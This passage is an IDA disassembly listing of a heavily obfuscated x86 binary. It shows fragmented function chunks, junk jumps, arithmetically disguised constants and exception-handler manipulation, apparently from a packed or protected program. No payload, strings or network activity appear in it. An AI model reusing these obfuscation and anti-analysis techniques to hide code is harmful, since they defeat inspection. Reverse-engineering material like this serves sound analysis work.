--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42D3E8: ; CODE XREF: sub_424F7A+9A31j jp sub_4263B3 loc_42D3EE: ; CODE XREF: sub_424F7A:loc_427840j call sub_424585 mov edx, 17B3C1CFh call sub_429165 jmp loc_425BF3 ; END OF FUNCTION CHUNK FOR sub_424F7A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42459B loc_42D403: ; CODE XREF: sub_42459Bj call sub_42628C ; END OF FUNCTION CHUNK FOR sub_42459B ; START OF FUNCTION CHUNK FOR sub_42CE80 loc_42D408: ; CODE XREF: sub_42CE80+B2Bj jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_42CE80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42D40D: ; CODE XREF: sub_42D9D9-100Aj jmp loc_42876D ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- loc_42D412: ; CODE XREF: wto1jq8f:0042B11Aj jmp loc_42C7F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42D417: ; CODE XREF: sub_42C486-16CFj push 0B51265C0h pop ecx sub ecx, 0C4CB4C25h rol ecx, 0Ah add ecx, 0E3DC7F01h loc_42D42C: ; CODE XREF: sub_42C486:loc_425BD2j xchg ecx, [esp-4+arg_0] jmp loc_42E87D ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= sub_42D434 proc near ; CODE XREF: sub_42A197-56E7p ; sub_427143:loc_42A474j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042667D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042724C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427538 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427F29 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042822F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428454 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042A2F0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A803 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A94B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CB7A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D58D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DAD0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E4B5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EFF5 SIZE 00000002 BYTES mov [esp-4+arg_0], ecx pop ecx xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] jmp loc_42A94B sub_42D434 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D446 proc near ; CODE XREF: sub_42A2B8:loc_42E4ADp mov eax, 5Eh retn sub_42D446 endp ; =============== S U B R O U T I N E ======================================= sub_42D44C proc near ; DATA XREF: sub_429A28+9o ; FUNCTION CHUNK AT 00424097 SIZE 00000017 BYTES mov eax, [ebp-20h] mov [ebp-28h], eax mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax jmp loc_424097 sub_42D44C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- loc_42D469: ; DATA XREF: sub_42F614-B180o push offset sub_42E7D7 jmp locret_426382 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D473: ; CODE XREF: sub_426535:loc_4277FAj jz loc_42BD93 jmp loc_427ABC ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245B5 loc_42D47E: ; CODE XREF: sub_42FFBA:loc_424FA8j ; sub_4245B5:loc_42D536j push ecx mov esp, ebp pop ebp call sub_42F81B loc_42D487: ; CODE XREF: wto1jq8f:00428697j jmp loc_4272DE ; END OF FUNCTION CHUNK FOR sub_4245B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42D48C: ; CODE XREF: sub_42760F+5455j push offset sub_42C6C3 jmp loc_42A734 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- loc_42D496: ; DATA XREF: sub_42408D+1903o push 1BAFF698h pop eax add eax, 0FCF1E6C0h xor eax, 0F1C4A19Dh add eax, 16DD7527h mov eax, [eax] call sub_42FFBA ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42D4B5: ; CODE XREF: sub_42AECE+Aj jmp loc_42673A ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- xchg ebp, [eax] jmp sub_425EA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42D4C1: ; CODE XREF: sub_428B3E+4j push 95F725AFh pop ebx xor ebx, 0F123F984h add ebx, 7D3EDADDh add ebx, ebp jmp loc_42797C ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BC4 loc_42D4DA: ; CODE XREF: wto1jq8f:004269BBj ; sub_428BC4+10j push large dword ptr fs:0 mov large fs:0, esp push dword ptr [ebp-4] call sub_42D4FD push dword ptr [ebp-4] call sub_428C71 jmp loc_427DD9 ; END OF FUNCTION CHUNK FOR sub_428BC4 ; =============== S U B R O U T I N E ======================================= sub_42D4FD proc near ; CODE XREF: sub_428BC4+4927p ; FUNCTION CHUNK AT 00428EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A9D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042B16D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C6D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D564 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430000 SIZE 0000000B BYTES push ebp jmp loc_428EC7 sub_42D4FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42D503: ; CODE XREF: sub_42D69D+22j jz loc_42FE23 jmp loc_42EA00 ; END OF FUNCTION CHUNK FOR sub_42D69D ; --------------------------------------------------------------------------- loc_42D50E: ; DATA XREF: sub_42658A:loc_4250CAo mov eax, [ebp-0Ch] call sub_42F99C ; START OF FUNCTION CHUNK FOR sub_429459 loc_42D516: ; CODE XREF: sub_429459+1665j jmp loc_42C187 ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42D51B: ; CODE XREF: sub_42F6A9-A90Ej jmp loc_4293A4 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_42D520: ; CODE XREF: sub_4282FE:loc_4287FDj jnz loc_425F84 jmp loc_426DFC ; END OF FUNCTION CHUNK FOR sub_4282FE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DDE6 loc_42D52C: ; CODE XREF: sub_42DDE6:loc_42DDFCj jmp loc_42EF69 ; END OF FUNCTION CHUNK FOR sub_42DDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42D531: ; CODE XREF: sub_42E9E8-3D75j jmp loc_42CE14 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245B5 loc_42D536: ; CODE XREF: sub_4245B5+9j jmp loc_42D47E ; END OF FUNCTION CHUNK FOR sub_4245B5 ; =============== S U B R O U T I N E ======================================= sub_42D53B proc near ; CODE XREF: sub_4250D4+6DC0p ; wto1jq8f:0042CB29j ; FUNCTION CHUNK AT 0042757C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C1BF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042F4DE SIZE 0000000A BYTES xchg eax, [esp+0] pop eax jz loc_42F4DE loc_42D545: ; CODE XREF: sub_42A6CD-5A9Bj push ebp jmp loc_42757C sub_42D53B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42D54B: ; CODE XREF: sub_4260DB:loc_426DE5j rol eax, 17h test eax, 40000000h jmp loc_4284C9 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- loc_42D559: ; CODE XREF: wto1jq8f:loc_42810Bj ; wto1jq8f:00429332j call nullsub_5 retn ; --------------------------------------------------------------------------- loc_42D55F: ; CODE XREF: wto1jq8f:0042EEC7j jmp locret_424784 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42D564: ; CODE XREF: sub_42D4FD-E1Ej jmp loc_430000 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- loc_42D569: ; CODE XREF: wto1jq8f:loc_42C5F6j call sub_42CB36 push offset sub_42A909 jmp locret_4283EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4CF loc_42D578: ; CODE XREF: sub_42C4CF+Ej add eax, 4 mov edx, [eax] mov al, 1 push offset loc_42EE84 jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_42C4CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_42D589: ; CODE XREF: sub_428BA9:loc_426E01j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428BA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42D58D: ; CODE XREF: sub_42D434:loc_42E4B5j mov eax, [ebp-4] jmp loc_42667D ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42D595: ; CODE XREF: sub_42A6CD-4BF7j rol edx, 1Ah test edx, 40000000h jmp loc_42D684 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42D5A3: ; CODE XREF: sub_42506F:loc_425074j mov eax, [ebp-8] mov dword ptr [ebp+eax*4-70h], 73257325h inc dword ptr [ebp-8] cmp dword ptr [ebp-8], 19h jmp loc_42C579 ; END OF FUNCTION CHUNK FOR sub_42506F ; =============== S U B R O U T I N E ======================================= sub_42D5BA proc near ; CODE XREF: wto1jq8f:0042BABBj ; sub_42669E+81FCp ; FUNCTION CHUNK AT 0042CE69 SIZE 0000000C BYTES mov [esp+0], edx pop edx add edx, ebp jmp loc_42CE69 sub_42D5BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 61h, 7Bh, 0A6h dword_42D5C8 dd 0 dword_42D5CC dd 0 ; sub_4266B1+Dr ... dword_42D5D0 dd 0B0EC4658h, 23994B1Ch, 0B136C817h, 0DEFCED00h ; DATA XREF: sub_42C486:loc_427D3Co ; sub_42B2A8+7o dword_42D5E0 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D5E4: ; CODE XREF: sub_426535+4079j jmp loc_42F6EF ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660F loc_42D5E9: ; CODE XREF: sub_42660F+1j jmp loc_425EE9 ; END OF FUNCTION CHUNK FOR sub_42660F ; --------------------------------------------------------------------------- db 81h, 0C2h dword_42D5F0 dd 0 ; sub_426968:loc_42E3EAr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424232 loc_42D5F4: ; CODE XREF: sub_424232+Aj ; sub_42E9E8:loc_427361j jmp loc_426919 ; END OF FUNCTION CHUNK FOR sub_424232 ; --------------------------------------------------------------------------- db 60h, 0B0h, 95h dword_42D5FC dd 0 ; sub_425B46+8A3Cw dword_42D600 dd 0 ; sub_42F2C7-416Bw dword_42D604 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42D608: ; CODE XREF: sub_429165+4A7Dj jmp loc_4249D6 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42D60D: ; CODE XREF: sub_4283CC-226Dj jmp loc_424728 ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- loc_42D612: ; CODE XREF: wto1jq8f:004281D0j add eax, 0E4451709h add eax, ebp add eax, 14FA1071h mov eax, [eax] loc_42D622: ; CODE XREF: wto1jq8f:00429648j cmp eax, ds:dword_42F1E0 jz loc_4245A9 jmp loc_428631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D633: ; CODE XREF: sub_429BFF+207Dj and ecx, edx push ebx loc_42D636: ; CODE XREF: sub_429BFF:loc_42B99Dj push 2F6431C9h pop eax xor eax, 0F318B26h add eax, ebp add eax, 0DFAA450Dh jmp loc_42EF6F ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42D64F: ; CODE XREF: wto1jq8f:0042D0C2j shl ebx, 8 jmp loc_426AF5 ; --------------------------------------------------------------------------- locret_42D657: ; CODE XREF: wto1jq8f:0042B61Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E597 loc_42D658: ; CODE XREF: sub_42E597+9j jmp loc_42A573 ; END OF FUNCTION CHUNK FOR sub_42E597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242F8 loc_42D65D: ; CODE XREF: sub_4242F8:loc_42EA1Cj mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 4 jnz loc_42D673 add [ebp+var_8], 4 jmp loc_42EA25 ; --------------------------------------------------------------------------- loc_42D673: ; CODE XREF: sub_4242F8+936Cj add [ebp+var_8], 2 jmp loc_42EA25 ; END OF FUNCTION CHUNK FOR sub_4242F8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D67C proc near ; CODE XREF: sub_42BE7E+4p ; sub_42D53B-1379p ; FUNCTION CHUNK AT 0042BD85 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_42BD85 sub_42D67C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42D684: ; CODE XREF: sub_42A6CD+2ED1j jz loc_428CB8 add edx, eax jmp loc_428CB7 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_42D692: ; CODE XREF: sub_42EFB5:loc_4265A9j jz loc_427DFF jmp loc_42BD22 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; =============== S U B R O U T I N E ======================================= sub_42D69D proc near ; DATA XREF: sub_42D753+2o ; FUNCTION CHUNK AT 0042AC55 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C251 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042D503 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DEC5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042EA00 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042FB99 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042FE22 SIZE 0000001C BYTES push 0A4D0F924h pop eax xor eax, 1A1C1F21h and eax, 63838402h add eax, 0DDC25720h mov eax, [eax] or eax, eax jnz loc_42FB99 jmp loc_42D503 sub_42D69D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42D6C4: ; CODE XREF: sub_42F25F-84BEj jnb loc_429929 sub esi, 98A4289Bh sbb ebp, eax test ebx, 0D37F0AC4h jmp loc_42B0EE ; END OF FUNCTION CHUNK FOR sub_42F25F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D953 loc_42D6DE: ; CODE XREF: sub_42D953+Bj jmp nullsub_229 ; END OF FUNCTION CHUNK FOR sub_42D953 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42D6E3: ; CODE XREF: sub_425CE2+37B2j xor edx, edx push edx push eax mov eax, [ebp-18h] jmp loc_42BA3A ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42D6EF: ; CODE XREF: wto1jq8f:0042C8B1j call sub_42596F call sub_4267AE ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42D6F9: ; CODE XREF: sub_42A617:loc_42FE89j mov edx, [ebp+8] mov [edx-8], eax ; END OF FUNCTION CHUNK FOR sub_42A617 ; START OF FUNCTION CHUNK FOR sub_424BAC loc_42D6FF: ; CODE XREF: sub_424BAC+Ej ; sub_426968+C74j ... mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424BAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42D70C: ; CODE XREF: sub_426C0C+8447j jge loc_42C339 test ebx, 0C02F0875h jmp loc_42A85D ; END OF FUNCTION CHUNK FOR sub_426C0C ; =============== S U B R O U T I N E ======================================= sub_42D71D proc near ; CODE XREF: wto1jq8f:0042E040j ; sub_42E785+7p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004274EA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00429060 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429096 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042CF99 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add ecx, eax loc_42D723: ; CODE XREF: sub_429471:loc_42BF35j push eax push 0BC8EF675h pop eax jmp loc_429060 sub_42D71D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D72F: ; CODE XREF: sub_429BFF:loc_42EF6Fj mov eax, [eax] call sub_428183 jmp loc_427EA5 ; --------------------------------------------------------------------------- loc_42D73B: ; CODE XREF: wto1jq8f:00425D74j ; sub_429BFF+Ej ... js loc_426C47 mov eax, [ebp+8] cmp dword ptr [eax-4], 0 jz loc_42900A jmp loc_42CCDE ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_42D753 proc near ; DATA XREF: sub_426E98-CDBo mov esp, ebp mov ebp, offset sub_42D69D xchg ebp, [esp+0] retn sub_42D753 endp ; =============== S U B R O U T I N E ======================================= sub_42D75E proc near ; DATA XREF: sub_42F99C+6o pop ebp retn sub_42D75E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D789 loc_42D760: ; CODE XREF: sub_42D789-7B9Bj jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_42D789 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D765 proc near ; CODE XREF: sub_424406+A9p ; sub_429E77-4DB2p ... var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax call sub_427A9E jmp loc_42E563 sub_42D765 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42D778: ; CODE XREF: sub_429B76:loc_42670Fj jnz loc_42E2E6 jmp loc_42F650 ; END OF FUNCTION CHUNK FOR sub_429B76 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426AD4 loc_42D784: ; CODE XREF: sub_426AD4+15j jmp loc_428B66 ; END OF FUNCTION CHUNK FOR sub_426AD4 ; =============== S U B R O U T I N E ======================================= sub_42D789 proc near ; DATA XREF: sub_4245D6+5F34o ; FUNCTION CHUNK AT 00425BE9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426422 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004277E9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A34B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042ADBC SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042B8A6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D760 SIZE 00000005 BYTES neg eax mov [ebp-5], al loc_42D78E: ; CODE XREF: wto1jq8f:0042ADC2j jnb loc_42B8A6 cmp byte ptr [ebp-5], 0 jnz loc_425BE9 push offset sub_428D47 jmp nullsub_216 sub_42D789 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42D7A8: ; CODE XREF: sub_4244EA:loc_424F1Ej jz loc_429E1E loc_42D7AE: ; CODE XREF: sub_42E9E8-3090j jmp loc_42F6FA ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- adc eax, ebp jmp loc_424281 ; --------------------------------------------------------------------------- loc_42D7BA: ; DATA XREF: wto1jq8f:00424B20o add esi, 0C0437F17h xchg esi, [esp] jmp sub_42FB2F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED32 loc_42D7C9: ; CODE XREF: sub_42ED32+721j jmp loc_4287A5 ; END OF FUNCTION CHUNK FOR sub_42ED32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42D7CE: ; CODE XREF: sub_427143+3B3Aj jmp nullsub_211 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF03 loc_42D7D3: ; CODE XREF: sub_42FF03+10j xchg ebx, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42FF03 ; --------------------------------------------------------------------------- sbb ebp, 0A23AFA50h sbb edx, ecx jmp loc_429773 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42D7E8: ; CODE XREF: sub_42506F+2158j mov ecx, ebp xchg ecx, [esp+0Ch+var_C] call sub_42AAF6 ; END OF FUNCTION CHUNK FOR sub_42506F ; START OF FUNCTION CHUNK FOR sub_42CF50 loc_42D7F2: ; CODE XREF: sub_42CF50-5353j jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_42CF50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42D7F7: ; CODE XREF: sub_429BD3-118Aj and eax, esi shr edx, 17h jno loc_42E9A3 loc_42D802: ; CODE XREF: sub_429BD3:loc_42B9B4j mov eax, [ebp-0Ch] jmp loc_4242BB ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42D80A: ; CODE XREF: sub_42B02D:loc_42A8CFj call sub_426C04 mov ds:dword_42FB5C, eax loc_42D814: ; CODE XREF: sub_424573+2j ; wto1jq8f:00424580j ... mov esp, ebp pop ebp jmp loc_4265A4 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42D81C: ; CODE XREF: sub_42C6C3:loc_42484Fj jnz loc_42B261 loc_42D822: ; CODE XREF: sub_426C0C:loc_42A85Dj add eax, 28h call sub_4282FE loc_42D82A: ; CODE XREF: sub_42C4B3+11j pop edx push eax mov edx, 0FFFFFFFFh push edx push eax call sub_42C6B1 push edi jmp loc_42E82E ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42D83F: ; CODE XREF: wto1jq8f:004275C7j jmp locret_42428E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D63 loc_42D844: ; CODE XREF: sub_424D63+11j jmp loc_42EA63 ; END OF FUNCTION CHUNK FOR sub_424D63 ; =============== S U B R O U T I N E ======================================= sub_42D849 proc near ; DATA XREF: sub_42E369+14o mov eax, [eax] call sub_42EDB9 sub_42D849 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42D850: ; CODE XREF: sub_428B3E+3802j jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42D855: ; CODE XREF: sub_426968+7FACj jnp loc_427D52 loc_42D85B: ; CODE XREF: sub_426968:loc_427D9Cj call sub_424585 mov edx, 0EF9F7D01h call sub_429165 jmp loc_42EDAE ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42D86F proc near ; DATA XREF: sub_428136:loc_428FC7o ; FUNCTION CHUNK AT 0042449F SIZE 00000005 BYTES mov [edi], eax pop edi jmp loc_42449F sub_42D86F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D877 proc near ; CODE XREF: sub_42F563j ; FUNCTION CHUNK AT 00426FF0 SIZE 00000005 BYTES push ebx push offset sub_42BB75 jmp loc_426FF0 sub_42D877 endp ; =============== S U B R O U T I N E ======================================= sub_42D882 proc near ; CODE XREF: sub_42FE4C:loc_426DE0p ; wto1jq8f:0042CF1Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425B97 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042E641 SIZE 00000005 BYTES mov [esp+4+var_4], edx pop edx call sub_424585 push 0DC41F8A9h pop edx sub edx, 0D0B86360h and edx, 5EED94F1h jmp loc_42E641 sub_42D882 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ecx, edi jmp loc_4265FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42D8A9: ; CODE XREF: sub_424D3A+5A34j cmp eax, 5178D631h jmp loc_42C9C4 ; END OF FUNCTION CHUNK FOR sub_424D3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42D8B4: ; CODE XREF: sub_42B276+9j xchg eax, [esp+0] jo loc_42B92F rol edx, 5 mov eax, edx and ecx, ebx sub edx, ecx pop ebx pop edx jmp loc_42B922 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- pop eax jmp sub_42F9AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D8D3: ; CODE XREF: sub_429BFF:loc_426DA6j ; sub_42E4DB+9j test al, al jz nullsub_15 jmp loc_427A88 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- jz loc_42F44D sbb esi, edi jmp sub_42EA31 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop eax jmp sub_42FED8 ; =============== S U B R O U T I N E ======================================= sub_42D8F4 proc near ; CODE XREF: wto1jq8f:00424B38p ; wto1jq8f:00428929j xchg eax, [esp+0] pop eax call sub_42D910 mov [ebp-4], eax sub_42D8F4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42760F loc_42D900: ; CODE XREF: sub_42760F-2C44j ; wto1jq8f:loc_424B2Bj ... mov eax, [ebp-1Ch] call sub_42FC85 mov [ebp-8], eax jmp loc_42F2BD ; END OF FUNCTION CHUNK FOR sub_42760F ; =============== S U B R O U T I N E ======================================= sub_42D910 proc near ; CODE XREF: sub_427E50+5p ; sub_4266B1+353Fp ... jno sub_42C507 jmp sub_42CFE2 sub_42D910 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42D91B: ; CODE XREF: sub_424F7A:loc_42755Aj mov esp, ebp pop ebp mov eax, ds:dword_42905C or eax, eax loc_42D926: ; CODE XREF: wto1jq8f:0042C81Cj jnz loc_4280B2 jmp loc_427840 ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- cmp esi, 0D4F2B3FAh jmp loc_427BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_42D93C: ; CODE XREF: sub_42EFB5:loc_42BD22j add esi, 0B50CCCEBh add ecx, edx jmp loc_427DF3 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42D949: ; CODE XREF: sub_42E9E8:loc_4284D4j call sub_4296B3 loc_42D94E: ; CODE XREF: sub_42EE54+14j jmp loc_427782 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_42D953 proc near ; DATA XREF: sub_426E98+4B12o ; FUNCTION CHUNK AT 0042D6DE SIZE 00000005 BYTES add eax, 6FCC0316h push offset sub_42E808 jmp loc_42D6DE sub_42D953 endp ; --------------------------------------------------------------------------- loc_42D963: ; CODE 